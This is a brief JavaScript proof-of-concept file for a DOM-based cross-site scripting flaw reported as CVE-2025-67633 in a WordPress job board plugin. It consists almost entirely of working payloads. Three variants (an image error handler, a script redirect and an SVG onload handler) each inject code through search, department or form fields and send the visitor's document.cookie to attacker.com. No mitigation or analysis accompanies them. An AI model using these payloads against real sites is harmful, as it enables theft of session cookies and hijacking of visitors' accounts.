// CVE-2025-67633 DOM-Based XSS PoC
// Target: WordPress Greenhouse Job Board Plugin <= 2.7.3

// Malicious URL PoC - inject via URL parameter
const maliciousURL = 'https://target-site.com/jobs/?search=' + 
    encodeURIComponent('<img src=x onerror="fetch(\\'https://attacker.com/log?cookie=\\'+document.cookie)\\'">');

// Alternative PoC using script injection
const scriptInjection = 'https://target-site.com/jobs/?department=' +
    encodeURIComponent('<script>document.location="https://attacker.com/steal?data="+btoa(document.cookie)</script>');

// Form-based PoC (if input fields are vulnerable)
const formPoC = {
    action: 'Submit malicious input via job application form',
    payload: '<svg onload=fetch("https://attacker.com/exfil?"+document.cookie)>',
    method: 'POST to /wp-json/greenhouse/v1/submit-application'
};
